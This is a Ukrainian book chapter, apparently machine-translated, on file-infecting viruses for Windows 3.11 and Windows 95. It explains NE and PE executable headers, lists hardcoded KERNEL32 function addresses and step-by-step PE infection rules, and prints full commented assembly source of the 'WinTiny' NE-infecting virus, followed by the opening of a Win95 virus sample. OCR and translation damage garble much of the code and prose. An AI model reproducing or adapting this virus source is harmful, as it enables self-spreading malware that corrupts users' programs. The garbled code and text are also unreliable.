ВІРУСИ ПІД WINDOWS b> p>
У цьому розділі розказано
про віруси, що заражають фай-
ли в операційному середовищі
Windows. Найбільш докладно
розглянуті віруси під
Windows 95, Представлено
вихідні тексти вірусів
з докладними коментарями,
Також наведені основні
відомості про запускаються фай-
лах програм під Windows,
їхній структурі, відмінності
від файлів DOS, b> p>
Віруси під Windows 3.11 b> p>
У виконуваному файлі Windows містяться в різних комбінаціях
код, дані і ресурси. Ресурси - це BIN-дані для прикладних про-
грам. З огляду на можливість запуску файлу з DOS, формат даних
повинен розпізнаватися обома системами - і DOS, і Windows.
Для цього всі виконувані файли під Windows містять два заголовки-
ка. Перший заголовок (старий) - розпізнається DOS як програма, ви-
водяна на екран "This program requires Microsoft Windows". Другий
заголовок (NewEXE) - для роботи в Windows (див. додаток). p>
Як же заразити Windows NewEXE? На перший погляд файл формату
WinNE - звичайний ЕХЕ-файл. Починається він із заголовка ЕХЕ для
DOS і програми (STUB), яка виводить повідомлення "This program
requires Microsoft Windows". p>
Якщо в ЕХЕ-заголовку по зміщенню 18h стоїть число 40h або більше,
значить по зсуву 3Ch знаходиться зміщення заголовка NewEXE. p>
Заголовок NewEXE починається з символів "NE". Далі йде власної
але заголовок, в якому містяться різні дані, у тому числі ад-
реса зсувів таблиць сегментів, ресурсів та інші. Після заголовка
розташована таблиця сегментів, за нею - всі інші таблиці, далі
розміщені власне сегменти з кодом. p>
Отже, порядок дій: p>
1. Адреса заголовка NewEXE (DOS_Header +3 Ch) зменшується на 8. p>
2. Заголовок NewEXE зсувається на 8 байт тому. p>
3. У таблицю сегментів додається новий елемент, що описує
сегмент вірусу. p>
4. CS: IP NewEXE змінюється на початок вірусного коду, саме тіло
вірусу дописують в кінець файлу. p>
Для завантаження в пам'ять (треба перехопити вектор INT 21h з-під
Windows) необхідно використовувати функції DPMI (INT 31h). Дей-
наслідком: виділення сегмента, зміна його прав доступу, запис вірусу,
перехоплення переривання 21h (робиться за допомогою функцій DPMI). p>
Як приклад наведено повний вихідний текст вірусу під Windows.
Принципи зараження такі ж, як і при зараженні ^ звичайного ЕХЕ-фай-
ла, - змінюється структура ЕХЕ-файла і середовище, в якому він працює. p>
.286 p>
. MODEL TINY
. CODE p>
; Збережемо регістри і прапори
pushf
pusha
push ds
push es p>
. Перевіримо, чи доступний DPMI. Якщо доступний,
Продовжуємо, якщо ні - виходимо p>
mov ax, 1686h p>
int 2Fh p>
or ax, ax p>
jz dpmi_exist p>
; Відновимо регістри і прапори
exit: p>
pop es p>
pop ds p>
popa p>
popf p>
. Запустимо програму-носій p>
db OEAh
reloclP dw 0
relocCS dw OFFFFh
dpmi_exist: p>
; Виділимо лінійний блок пам'яті, використовуючи DPMI
mov ax, 0501h
mov cx, OFFFFh
xor bx.bx
int 31 h p>
; Збережемо індекс і 32-бітний лінійний адреса
. отриманого блоку пам'яті в стеку p>
push si ~ ^ p>
push di p>
push bx p>
push ex p>
; Створимо дескриптор в таблиці LDT
Хог ах, ах
mov ex, 1
int 31 h p>
; B полі адреси отриманого дескриптора
. встановимо адресу потрібного блоку пам'яті p>
mov bx, ax p>
mov ах, 7 p>
pop dx p>
pop ex p>
int • 31h p>
; B полі межі отриманого дескриптора
зупинимо розмір виділеного блоку пам'яті p>
mov ах, 8 p>
mov dx, OFFFFh p>
Хог сх.сх p>
int 31h p>
; У полі прав доступу отриманого дескриптора встановимо значення,
відповідне сегменту даних, доступному для читання і запису p>
mov ах, 9 p>
mov cl, 1111001 Ob p>
Хог ch, ch p>
int 31h p>
; 3агрузім селектор в регістр DS. Після цього регістр DS буде
надавати на виділений блок пам'яті
mov ds.bx p>
. Читаємо з стека і зберігаємо в пам'яті
; індекс отриманого блоку пам'яті p>
pop [mem_hnd 2] p>
pop [mem_hnd] p>
Отримаємо поточну DTA
mov ah, 2Fh
int 21 h
mov [DTA], bx
mov [DTA 2], es p>
; Знайдемо перші ЕХЕ-файл (маска *. ЕХЕ)
mov ah, 4Eh
xor ex, ex p>
mov dx, OFFSET wild_exe
push ds
push cs
pop ds
int 21 h
pop ds p>
; Якщо файл знайдений, перейдемо до зараження, інакше звільнимо
; виділену область пам'яті і запустимо програму-носій
jnc found_exe p>
; 0свободім виділену область пам'яті
call free p>
. Запустимо програму-носій
jmp exit p>
. Перейдемо до наступного файлу - цей не підходить
close_exe: p>
; Закриємо файл
mov ah, 3Eh
int 21h p>
; Знайдемо Наступне фото
mov ah, 4Fh
int 21h p>
; Якщо файл знайдений, перейдемо до зараження, інакше звільнимо
-. виділену область пам'яті і запустимо програму-носій
jnc found_exe p>
; 0свободім виділену область пам'яті
call free p>
; 3апустім програму-носій
jmp exit p>
; Файл знайдений, перевіримо його на придатність до зараження
found ехе: p>
; 0ткроем файл для читання і запису
push ds p>
Ids dx, DWORD PTR [DTA]
add dx.lEh
mov ax, 3D02h
int 21 h
pop ds p>
. Прочитаємо старий заголовок
mov dx.OFFSET old_hdr
mov bx.ax
mov cx, 40h
mov ah, 3Fh
int 21h p>
; Перевіримо сигнатуру, це ЕХЕ-файл?
cmp WORD PTR [old_hdr], "ZM"
jne close_exe p>
[Перевіримо зсув таблиці налаштування адрес. p>
; Якщо значення більше 40h, то це не звичайний ЕХЕ-файл. p>
; Не будемо одразу робити висновок, p>
; що це NewEXE, тому ^ що це може виявитися p>
; РЕ-, LE-, LX-executable або інший p>
; (PE-executable описаний в розділі, p>
[присвяченому Windows 95, решта p>
; типи ЕХЕ-файлів в цій книзі не розглядаються) p>
cmp [old_hdr +18 h], WORD PTR 40h p>
jb close_exe p>
. Перейдемо до другого заголовку (може бути, це NewEXE?): p>
Перекладаємо покажчик до зсуву, зазначеної у полі 3Ch p>
mov dx.WORD PTR [old_hdr +3 Ch] p>
mov cx.WORD PTR [old_hdr +3 Eh] p>
mov ax, 4200h p>
int 21h p>
; Прочитаємо другий заголовок
mov dx.OFFSET newJ-idr
mov ex, 40h
mov ah, 3fh
int 21h p>
[Перевіримо сигнатуру, якщо сигнатура "NE", то це NewEXE-файл
cmp WORD PTR [new_hdr], "EN"
jne close_exe p>
[Перевіримо, для Windows чи призначений цей файл. Якщо так, будемо
; заражати, інакше переходимо до наступного файлу p>
mov al, [new_hdr +36 h] p>
and al, 2 p>
jz close_exe p>
. Пересуньте курсор читання/запису в таблицю сегментів,
; до елемента, що означає сегмент точки старту програми.
[Для цього прочитаємо значення регістра CS при запуску
[цього ЕХЕ-файла p>
mov dx.WORD PTR [new_hdr +16 h] p>
; За номером сегмента обчислимо положення відповідного йому
[елемента в таблиці сегментів p>
dec dx p>
shi dx, 3 p>
; K результату додамо зсув таблиці сегментів і зсув
. заголовка NewEXE p>
add dx, WORD PTR [new_hdr +22 h] p>
add dx.WORO PTR [old_hdr +3 ch] p>
mov cx.WORD PTR [old_hdr 3 eh] p>
[перемістіть вказівник читання/запису
mov ax, 4200h
int 21 h p>
[Прочитаємо з таблиці сегментів зміщення логічного сектора
mov dx, OFFSET temp
mov ex, 2
mov ah, 3Fh
int 21 h p>
. Обчислимо зміщення сегмента, спираючись на значення
. зміщення логічного сектора і множника секторів p>
mov dx.WORD PTR [temp] p>
mov cx.WORD PTR [new_hdr +32 h] p>
xor ax.ax p>
cal_entry: p>
shi dx, 1 p>
rcl ax, 1 p>
loop cal_entry p>
. Перемістивши 16 старших біт 32-о результату в регістр СХ
mov cx, ax p>
; Додамо до результату зсув стартового адреси (IP)
add dx, WORD PTR [new_hdr +14 h]
adc cx.O p>
; перемістіть вказівник позиції читання/запису на точку старту
. програми - результат обчислення p>
mov ax, 4200h p>
int 21 h p>
; Вважаємо перші 10 байт після старту програми
mov dx, OFFSET temp
mov cx, 10h
mov ah, 3Fh
int 21 h p>
Перевіримо, чи заражений файл. Якщо лічені 10 байт в точності
; збігаються з першими 10-ма байтами нашого вірусу, файл заражений.
; У цьому випадку переходимо до пошуку наступного, інакше - заражаємо p>
mov si.OFFSET temp p>
push cs p>
pop es p>
xor di.di p>
mov ex, 8 p>
eld p>
rep cmpsw p>
jne ok_to_infect p>
jmp close_exe p>
Приступимо до зараження
ok_to_infect: p>
Перемістивши NE-заголовок на 8 байт ближче до початку файлу.
; Виправимо відповідні поля старого заголовка
sub WORD PTR [old_hdr +10 h], 8 p>
sub WORD PTR [old_hdr +3 ch], 8
sbb WORD PTR [old_hdr 3 eh], 0 p>
; Виправимо значення таблиць у новому заголовку, щоб перемістилися
; тільки заголовок і таблиця сегментів (без інших таблиць) p>
add WORD PTR [new_hdr 4], 8 p>
add WORD PTR [new_hdr +24 h], 8 p>
add WORD PTR [new_hdr +26 h], 8 p>
add WORD PTR [new_hdr +28 h], 8 p>
add WORD PTR [new_hdr 2 ah], 8 p>
; Збережемо оригінальні значення точок входу CS і IP
push WORD PTR [new_hdr +14 h]
pop [hostJp] p>
pushTWORD PTR [new_hdr +16 h]
pop [host_cs] p>
; Додамо ще один сегмент в таблицю сегментів і встановимо
; точку входу на його початок p>
mov WORD PTR [new_hdr +14 h], 0 p>
inc WORD PTR [new_hdr +1 ch] p>
push WORD PTR [new_hdr +1 ch] p>
pop WORD PTR [new_hdr +16 h] p>
. Пересуньте курсор читання/запису в початок файлу
; (до старого заголовку) p>
Хог сх.сх p>
xor dx.dx p>
mov ax, 4200h p>
int 21 h p>
; 3апішем старий заголовок, так як модифіковані
; деякі поля його копії в пам'яті p>
mov dx.OFFSET old_hdr p>
mov cx, 40h p>
mov ah, 40h p>
int 21 h p>
; перемістіть вказівник читання/запису на початок нового
заголовка (його перемістили на 8 байт до початку файлу) p>
mov dx.WORD PTR [old_hdr +3 ch] p>
mov cx, WORD PTR [old_hdr 3 eh] p>
mov ax, 4200h
int 21 h p>
; 3апішем новий заголовок, тому що в його копії
; в пам'яті деякі поля модифіковані p>
mov dx, OFFSET new_hdr p>
mov cx, 40h p>
mov ah, 40h p>
int 21h p>
. Пересуньте курсор читання/запису на 8 байт
; вперед - до початку таблиці сегментів p>
Хог сх.сх p>
mov dx, 8 p>
mov ax, 4201 h p>
int 21h p>
розрахуємо розмір таблиці сегментів і вважаємо її в пам'ять
mov dx, OFFSET temp
mov cx.WORD PTR [new_hdr +1 ch]
dec ex
shi cx.3
push ex
mov ah, 3Fh
int 21h p>
перемістіть вказівник читання/запису назад, до позиції
; за 8 байт перед початком таблиці сегментів p>
pop dx p>
push dx p>
add dx, 8 p>
neg dx p>
mov cx, -1 p>
mov ax, 4201h p>
int 21h p>
; 3апішем таблицю сегментів у файл, але не на її колишнє місце,
; а на 8 байт ближче до початку файлу p>
mov dx, OFFSET temp p>
pop ex p>
mov ah, 40h p>
int 21h p>
. Прочитаємо поточну позицію читання/запису (кінець таблиці сегментів)
xor сх, сх
xor dx.dx
mov ^ ax, 4201h
int 21 h p>
; Збережемо в стеку поточну позицію читання/запису
push dx
push ax p>
. Отримаємо довжину файлу, перемістивши покажчик
^ тенія/запису в кінець файлу p>
xor сх.сх p>
xor dx, dx p>
mov ax, 4202h p>
int 21 h p>
; Збережемо в стеку довжину файлу
push dx
push ax p>
; Обчислимо і збережемо довжину логічного сектора
mov cx.WORD PTR [new_hdr +32 h]
mov ax, 1
shi ax.cl
mov [log_sec_len], ax p>
; Обчислимо довжину файлу в логічних секторах
mov сх.ах
pop ax
pop dx
div ex p>
-. Врахуємо неповний сектор. Якщо в результаті вийшов
; залишок, збільшимо кількість секторів p>
or dx, dx p>
jz no_rmd p>
inc ax
no_rmd: p>
; 3аполнім поля нового елемента в таблиці сегментів
mov [my_seg_entry], ax p>
3-1436 b> p>
mov [my_seg_entry 2], OFFSET vir_end p>
mov [my_seg_entry 4], 180h p>
mov [my_seg_entry 6], OFFSET vir_end p>
; Відновимо з стека позицію у файлі кінця таблиці секторів
pop dx
pop ex p>
перемістіть вказівник читання/запису до цієї позиції
mov ax, 4200h
int 21 h p>
. Запишемо в кінець таблиці новий елемент
mov dx, OFFSET my_seg_entry
mov ex, 8
mov ah, 40h
int 21 h p>
; скопіюємо тіло вірусу в область пам'яті, яку виділили p>
; на початку програми, для змін у ньому. У захищеному режимі p>
; (а працюємо саме в ньому), не можна робити запис в сегмент p>
; коду. Якщо з якоїсь причини потрібно зробити зміна p>
; в сегменті коду, створюється аліасний дескриптор даних p>
; (дескриптор, що містить той же зміщення і довжину, p>
; що і сегмент коду), і подальша робота ведеться з ним. p>
; У даному випадку просто скористаємося виділеним блоком пам'яті p>
push ds p>
pop es p>
push cs p>
pop ds p>
xor si, si p>
mov di, OFFSET temp p>
mov ex, OFFSET vir_end p>
eld p>
rep movsb p>
push es p>
pop ds p>
Ініціалізіруем адреса точки входу
mov si, OFFSET temp
mov WORD PTR [si + reloc! P], 0
mov WORD PTR [si + relocCS], OFFFFh p>
перемістіть вказівник читання/запису на нову точку входу p>
mov ax, [my_seg_entry] p>
mov cx, [log_sec_len] p>
mul ex p>
mov cx.dx p>
mov dx.ax p>
mov ax, 4200h p>
int 21h p>
; 3апішем тіло вірусу в файл p>
mov dx, OFFSET temp p>
mov ex, OFFSET vir_end p>
mov ah, 40h p>
int 21h p>
. Ініціалізіруем поля переміщуваного елемента
mov WORD PTR [reloc_data], 1
mov BYTE PTR [reloc_data 2], 3
mov BYTE PTR [reloc_data 3], 4
mov WORD PTR [reloc_data 4], OFFSET reloclP p>
; 3апішем переміщуваний елемент
mov dx, OFFSET reloc_data
mov ex, 10
mov ah, 40h
int 21h p>
[Закриємо файл
mov ah, 3Eh
int 21h p>
. Визволимо виділений блок пам'яті
call free p>
; 3апустім програму-носій
jmp exit p>
. Процедура, яка звільняє виділений блок пам'яті
free PROC NEAR p>
mov ax, 0502h p>
mov si, [mem_hnd] p>
mov di, [mem_hnd 2] p>
з * p>
int 31 h
ret
free ENDP p>
; Маска для пошуку файлів
wild_exe DB "• ЕХЕ-.О p>
; Назва вірусу p>
DB "WinTiny" p>
; Ідентифікатор, що вказує на кінець ініціалізований даних
vir_end: p>
. Індекс виділеного блоку пам'яті
mem_hnd DW?
DW? p>
; Адреса поточної DTA
DTA DW?
DW? p>
; Місце для зберігання старого заголовка
olcLhdr DB 40h dup (?) p>
. Місце для зберігання нового заголовка
new_hdr DB 40h dup (?) p>
; Довжина логічного номера сектора
log_sec_len DW? p>
; Новий елемент у таблиці сегментів
my_seg_entry DW? p>
DW? p>
DW? p>
DW? p>
. переміщувати елементи
reloc_dataDW? p>
DB? p>
DB? p>
DW? p>
; 3наченіе оригінальної точки входу
host_cs DW?
hostJp DW? p>
; 0бласть пам'яті для використання
temp DB?
END p>
Віруси під Windows 95 b> p>
Формат Portable Executable використовується Win32, Windows NT
і Windows 95, що робить його дуже популярним, і в майбутньому, можли-
але, він стане домінуючим форматом ЕХЕ. Цей формат значною
але відрізняється від NE-executable, що використовується в Windows 3.11. p>
виклик Windows 95 API b> p>
Звичайні програми викликають Windows 95 API (Application Program
Interface) використовуючи таблицю імпортованих імен. Коли додаток
додано, дані, необхідні для виклику API, заносяться до цієї таблиці-
цу. У Windows 95, завдяки передбачливості фірми-робите-
Щоб Microsoft, модифікувати таблицю імпортованих імен неможливе. p>
Ця проблема вирішується безпосереднім викликом KERNEL32. Тобто
необхідно повністю ігнорувати структуру виклику і перейти не-
посередньо на точку входу DLL. p>
Щоб отримати описувач (Handle) DLL/EXE, можна використовувати
виклик API GetModuleHandle або інші функції для отримання точок
входу модуля, включаючи функцію отримання адреси API GetProcAddress. p>
Як викликати API, маючи можливість викликати його і в той же час та-
кой можливості не маючи? Відповідь: викликати API, розташування которо-
го в пам'яті відомо - це API у файлі KERNEL32.DLL, він знаходиться
за постійним адресою. p>
Виклик API додатками виглядає приблизно так: p>
call APLFUNCTIONJMAME
наприклад: b> p>
call CreateFileA
Після компіляції цей виклик виглядає так: p>
db 9Ah. інструкція call
dd 7777; зміщення у таблиці переходів p>
Код в таблиці переходів схожий на такий: p>
jmp far [offset into import table] p>
Зсув в таблиці імпортуються імен містить адреса диспетчера
для даної функції API. Ця адреса можна отримати за допомогою
GetProcAddress API. Диспетчер функцій виглядає так: p>
push function value
call Module Entrypoint p>
Знаючи точки входу, можна викликати їх прямо, минаючи таблицю цього
модуля. Тому можна замінити виклики KERNEL32.DLL в його стан-
дротяні точці на виклики безпосередньо функцій. Просто зберігаємо
в стеку значення функції і викликаємо точку входу в модуль. p>
Модуль KERNEL32 розташовується в пам'яті статично - саме так
і передбачалося. Але конкретне місце його розташування в різних вер-
сіях Windows 95 відрізняється. Це було підтверджено. Виявилося, що один
функція (одержання часу/дати) відрізняється номером. Для комп-
сації цих відмінностей додана перевірка двох різних місць на наяв-
чіе KERNEL32. Але якщо KERNEL32 все-таки не знайдений, вірус повер-
приватна власність посправжньому розкріпачує керування програмі-носію. p>
Адреси та номери функцій b> p>
Для June Test Release KERNEL32 знаходиться за адресою OBFF93B95h, для
August Release - за адресою OBFF93ClDh. Можна знайти інші значен-
ня функції, використовуючи 32-бітний відладчик. У таблиці 3.1 наведені
адреси функцій, які потрібні для роботи вірусу. p>
Таблиця 3.1. Адреси деяких функцій KERNEL p>
Функція
Адреса в June Test Release
Адреса в August Test
Release
GetCurrentDir
BFF77744h
BFF77744h
SetCurrentDir
BFF7771Dh
BFF7771Dh
GetTime
BFF9DOB6h
BFF9D14Eh
MessageBox
BFF638D9h
BFF638D9h
FindFile
BFF77893h
BFF77893h
FindNext
BFF778CBh
BFF778CBh
CreateFile
BFF77817h
BFF77817h
SetFilePointer
BFF76FAOh
BFF76FAOh
ReadFile
BFF75806h
BFF75806h
WriteFile
BFF7580Dh
BFF7580Dh
CloseFile
BFF7BC72H
BFF7BC72h
p>
Угоди про виклики b> p>
Windows 95 написаний на мовах C + + (в основному) і Assembler. І, хоча
угоди про виклики простими для застосування, Microsoft їх не викорис-
зует. Всі API під Wm95 використовують Pascal Calling Convention. При-
заходів - API, описаний у файлах довідки Visual C + +: p>
FARPROC GetProcAddress ( p>
HMODULE hModule,// описувач DLL-модуля
LPCSTR IpszProc// ім'я функції p>
); p>
На перший погляд здається, що достатньо лише зберегти в стеку опи-
Сател DLL-модуля (він стоїть перед покажчиком на ім'я функції) і дзв-
вать API. Але це не так. Параметри, згідно Pascal Calling Convention,
повинні бути збережені у стеку у зворотному порядку: p>
push offset IpszProc p>
push dword ptr [hModule] p>
call GetProcAddress p>
Використовуючи 32-бітний відладчик, можна оттрассіровать виклик і знайти
виклик KERNEL32 для кожного конкретного випадку. Це дозволить напів-
чити номер функції і обійтися без необхідної для виклику таблиці
імпортованих імен. p>
Зараження файлів формату PE-executable b> p>
Визначення положення початку РЕ-заголовка відбувається аналогічно
пошуку початку NE-заголовка. Якщо зсув таблиці налаштування адре-
сов (поле 18h) в заголовку ЕХЕ-файла 40h або більше, то по зсуву
ЗСЬ знаходиться зміщення PE-executable заголовка. Сигнатура PE-execu-
table ( "РЕ") знаходиться, як і у NE-executable ЕХЕ-файла, на початку но-вого
заголовка. p>
Всередині РЕ-заголовка знаходиться таблиця об'єктів. Її формат найбільш
важливий в порівнянні з іншими. Щоб додати вірусного коду в но-
СІТЕЛ і перехоплення вірусом управління необхідно додати елемент
в таблицю об'єктів. p>
Основні дії зараження PE-executable файлу: p>
1. Знайти зсув заголовка PE-executable у файлі. p>
2. Вважати достатню кількість інформації із заголовка для
обчислення його повного розміру. p>
3. Вважати весь РЕ-заголовок і таблицю об'єктів. p>
4. Додати новий об'єкт до таблиці об'єктів. p>
5. Встановити точку входу RVA на новий об'єкт. p>
6. Дописати вірус до файлу по вирахуваній фізичній зсуву. p>
7. Записати змінений РЕ-заголовок у файл.
Для визначення розташування таблиці об'єктів слід скориста-
тися значенням змінної "HeaderSize" (не плутати з "NT
headersize"), яка містить спільний розмір заголовків DOS, РЕ
і таблиці об'єктів. p>
Для читання таблиці об'єктів необхідно вважати HeaderSize байт
від початку файлу. p>
Таблиця об'єктів розташована безпосередньо за NT-заголовком. Зна-чення
"NTheadersize" показує кількість байт, наступних за полем
"flags". Отже, для визначення зміщення таблиці об'єктів потрібно по-
лучіть NTheaderSize і додати розмір поля прапорів (24). p>
Додавання об'єкту: отримавши кількість об'єктів, помножити його на 40
(розмір елемента таблиці об'єктів). Таким чином визначається кош-
щення, по якому буде розташований вірус. p>
Дані для елемента таблиці об'єктів повинні бути обчислені з викорис-
тання інформації в попередньому елементі (елементі носія). p>
RVA = ((prev RVA + prev Virtual Size)/OBJ Alignment 1) p>
* OBJ Alignment p>
Virtual Size = ((size of virus + buffer any space)/OBJ Alignment 1) p>
* OBJ Alignment p>
Physical Size = (size of virus/File Alignment +1) * File Alignment p>
Physical Offset = prev Physical Offset + prev Physical Size p>
Object Flags = db 40h, 0, O. COh p>
Entrypoint RVA = RVA p>
Тепер необхідно збільшити на одиницю поле "кількість об'єктів"
і записати код вірусу по вирахуваній "фізичній зсуву"
в розмірі "фізичного розміру" байт. p>
Приклад вірусу під Windows 95 b> p>
.386 p>
locals p>
jumps p>
. model flat.STDCALL p>
include win32.inc деякі 32-бітові константи і структури p>
L equ p>
; 0пределім зовнішні функції, до яких буде підключатися вірус
extrn BeginPaint: PROC
extrn CreateWindowExA: PROC
extrn DefWindowProcA: PROC
extrn DispatchMessageA: PROC
extrn EndPaint: PROC
extrn ExitProcess.-PROC
extrn FindWindowA: PROC
extrn GetMessageA: PROC
extrn GetModuleHandleA: PROC
extrn GetStockObject: PROC
extrn lnvalidateRect: PROC
extrn LoadCursorA: PROC
extrn LoadlconA: PROC
extrn MessageBeep: PROC
extrn PostQuitMessage: PROC
extrn RegisterClassA: PROC
extrn ShowWindow: PROC
extrn SetWindowPos: PROC
extrn TextOutA: PROC
extrn TranslateMessage: PROC
extrn UpdateWindow: PROC p>
; Для підтримки Unicode Win32 інтерпретує деякі функції p>
; для ANSI або розширеного набору символів. p>
; В якості прикладу розглянемо ANSI p>
CreateWindowEx equ p>
DefWindowProc equ p>
DispatchMessage equ p>
FindWindow equ p>
GetMessage equ p>
GetModuleHandle equ p>
LoadCursor equ p>
Loadlcon equ p>
MessageBox equ p>
RegisterClass equ p>
TextOut equ p>
• data p>
newhwnd dd 0 p>
Ippaint PAINTSTRUCT p>
msg MSGSTRUCT p>
we WNDCLASS p>
mbx_count dd 0 p>
hinst dd 0 p>
szTitleName db "Bizatch by Quantum/VLAD activated" p>
zero db 0 p>
szAlternate db "more than once", 0 p>
szClassName db "ASMCLASS32", 0 p>
[Повідомлення, що виводиться у вікні
szPaint db "Left Button pressed:"
s_num db "OOOOOOOOh times.", 0 p>
. Розмір повідомлення p>
MSG_L EQU ($-offset szPaint) -! p>
. code p>
; Сюди зазвичай передається управління від завантажувача.
start: p>
. Отримаємо HMODULE
push L Про p>
call GetModuleHandle
mov [hlnst], eax
push L 0 p>
push offset szClassName
call FindWindow
or eax.eax
jz reg_class p>
. Простір для модифікації рядка заголовка p>
mov [zero], ""
reg_class: p>
; Ініціалізіруем структуру WndClass p>
mov [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS p>
mov [wc.clsLpfnWndProc], offset WndProc p>
mov [wc.clsCbClsExtra], 0 p>
mov [wc.clsCbWndExtra], 0 p>
mov eax, [hlnst] p>
mov [wc.clsHlnstance], eax p>
[Завантажуємо значок p>
push L IDLAPPLICATION
push L 0
call Loadlcon
mov [wc.clsHlcon], eax p>
; Завантажуємо курсор p>
push L IDC.ARROW p>
push L 0 p>
call LoadCursor p>
mov [wc.clsHCursor], eax p>
. Ініціалізіруем залишилися поля структури WndClass
mov [wc.clsHbrBackground], COLOR_WINDOW 1
mov dword ptr [wc.clsLpszMenuName], 0
mov dword ptr [wc.clslpszClassNameJ.offset szClassName p>
; Реєструємо клас вікна
push offset we
call RegisterClass p>
; Створюємо вікно p>
push L 0. IpParam
push [hinst]. hinstance
push L 0; Меню
push L 0; hwnd батьківського вікна
push L CWJJSEDEFAULT; Висота
push L CWJJSEDEFAULT; Довжина
push L CWJJSEDEFAULT; Y
push L CWJJSEDEFAULT; X
push L WSJ3VERLAPPEDWINDOW; Style
push offset szTitleName; Title Style
push offset szClassName; Class name
push L 0; extra style
call CreateWindowEx p>
. Зберігаємо HWND p>
mov [newhwnd], eax p>
. відображається вікно на екрані
push L SW.SHOWNORMAL
push [newhwnd]
call ShowWindow p>
; 0бновляем вміст вікна
push [newhwnd]
call UpdateWindow p>
; 0чередь повідомлень
msgJoop: p>
. Прочитаємо таке повідомлення з черги
push L Про
push L Про
push L Про
push offset msg
call GetMessage p>
; Якщо функція GetMessage повернула нульове значення, то завершуємо
[обробку повідомлень і виходимо з процесу p>
стр ах.0 p>
je endJoop p>
Перетворимо віртуальні коди клавіш в повідомлення клавіатури
push offset msg
call TranslateMessage p>
Передаємо це повідомлення тому в Windows
push offset msg
call DispatchMessage p>
[Переходимо до наступного повідомлення
jmp msgJoop p>
; Вихід з процесу
endJoop: p>
push [msg.msWPARAM] p>
call ExitProcess p>
. Обробка повідомлень вікна. Win32 вимагає збереження регістрів p>
; ЕВХ, EDI. ESI. Запишемо ці регістри після "uses" у рядку "Ргос".
; Це дозволить Асемблер зберегти їх
WndProc proc uses ebx edi esi, hwnd; DWORD, wmsg: DWORD,
wparam: DWORD, lparam: DWORD
LOCAL theDC: DWORD p>
[Перевіримо, яке повідомлення отримали, і перейдемо до обробки
cmp [wmsg], WM_DESTROY
je wmdestroy p>
стр [wmsg], WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg], WM_SIZE
je wmsize p>
cmp [wmsg]. WM_CREATE
je wmcreate p>
cmp [wmsg], WM_LBUTTONDOWN p>
je wmlbuttondown p>
cmp [wmsg], WM_PAINT p>
je wm paint p>
cmp [wmsg], WM_GETMINMAXINFO p>
je wmgetminmaxinfo p>
Дана програма не обробляє це повідомлення.
. Передамо його Windows,
: щоб воно було оброблено за замовчуванням
jmp defwndproc p>
. Повідомлення WM_PAINT (перемалювати вміст вікна)
wmpaint: p>
Підготуємо вікно для перемальовування
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax p>
; Переведемо в ASCII-формат значення mbx_count, яке
доводить, скільки разів була натиснута ліва кнопка миші p>
mov eax, [mbx_count] p>
mov edi, offset s_num p>
call HexWrite32 p>
; Висновок рядки у вікно p>
push L MSG_L; Фраза p>
push offset szPaint; Рядок p>
push L 5; Y p>
push L 5; X p>
push [theDC]; DC
call TextOut p>
; 0бозначім завершення перемальовування вікна
push offset Ippaint
push [hwnd]
call EndPaint p>
; Виходимо з обробки повідомлення
mov eax, 0
jmp finish p>
; Повідомлення WM_CREATE (створення вікна)
wmcreate: p>
; Виходимо з обробки повідомлення
mov eax, Про
jrnp finish p>
[Повідомлення, не обробляється даною програмою, передаємо Windows
defwndproc: p>
push [Iparam] p>
push [wparam] p>
push [wmsg] p>
push [hwnd] p>
call DefWindowProc p>
[Виходимо з обробки повідомлення
jmp finish p>
[Повідомлення WM_DESTROY (знищення вікна)
wmdestroy: p>
[Закриємо потік
push L Про
call PostQuitMessage p>
[Виходимо з обробки повідомлення
mov eax, Про
jmp finish p>
. Повідомлення WMJ-BUTTONDOWN (натиснута ліва кнопка миші)
wmlbuttondown: p>
inc [mbx_count] p>
[оновити вміст вікна
push L Про
push L Про
push [hwnd]
call InvalidateRect p>
[Виходимо з обробки повідомлення
mov eax, Про
jmp finish p>
[Повідомлення WM_RBUTTONDOWN (натиснута права кнопка миші) p>
wmrbuttondown: p>
push L 0
call MessageBeep p>
; Вихід їм з обробки повідомлення
jmp finish p>
; Повідомлення WM_SIZE (змінено розмір вікна)
wmsize: p>
[Виходимо з обробки повідомлення
mov eax, Про
jmp finish p>
[Повідомлення WM_GETMINMAXINFO (спроба змінити розмір
; або положення вікна)
wmgetminmaxinfo: p>
[Заповнимо структуру MINMAXINFO
mov ebx, [Iparam] p>
mov [(MINMAXINFO ptr ebx). mintrackposition_x], 350
mov [(MINMAXINFO ptr ebx). mintrackposition_y], 60 p>
. Виходимо з обробки повідомлення
mov eax, 0
jmp finish p>
[Виходимо з обробки повідомлення
finish: p>
ret
WndProc endp p>
Процедура перекладу байти в ASCII-формат для друку. Значення,
[що знаходиться в регістрі AL, буде записано в ASCII-форматі
; за адресою ES: EDI
HexWriteS proc p>
; Розділяємо байт на полубайти і завантажуємо їх у регістри АН і AL
mov ah.al
and al.OFh
shr ah, 4 p>
[Додаємо 30h до кожного полубайту, щоб регістри містили коди
[відповідних символів ASCII. Якщо число, p>
; записане в полубайте, було більше 9,
; то значення в цьому полубайте треба ще коригувати
or ax, 3030h p>
. Міняємо полубайти місцями, щоб регістр АН містив молодший
. полубайт, а регістр AL - старший
xchg al.ah p>
; Перевіримо. чи треба коригувати молодший полубайт,
. якщо так - коректуємо p>
cmp ah, 39h p>
ja @ @ 4 p>
[Перевіримо, чи треба коригувати старший полубайт,
; якщо так - коректуємо
@ @ 1: p>
cmp al, 39h p>
ja @ @ 3 p>
; Збережемо значення за адресою ES: EDI
@ @ 2: p>
stosw p>
ret p>
. Коректуємо значення старшого полубайта
@ @ 3: p>
sub al, 30h p>
add al, "A" -10 p>
jmp @ @ 2 p>
[Коректуємо значення молодшого полубайта
@ @ 4: p>
sub ah, 30h p>
add ah, "A" -10 p>
jmp @ @ 1
HexWriteS endp p>
[Процедура перекладу слова в ASCII-формат для друку.
[Значення, що знаходиться в регістрі АХ, буде записано
; в ASCII-форматі за адресою ES: EDI
HexWrite16 proc p>
; Збережемо молодший байт з стека
push ax p>
; 3агрузім старший байт в регістр А1_
xchg al, ah p>
. Переведемо старший байт в ASCII-формат
call HexWrite8 p>
; Відновимо молодший байт з стека
pop ax p>
Переведемо молодший байт в ASCII-формат p>
call HexWrite8 p>
ret
HexWrite-16 endp p>
Процедура перекладу подвійного слова в ASCII-формат для друку.
; 3наченіе, що знаходиться в регістрі ЕАХ, буде записано
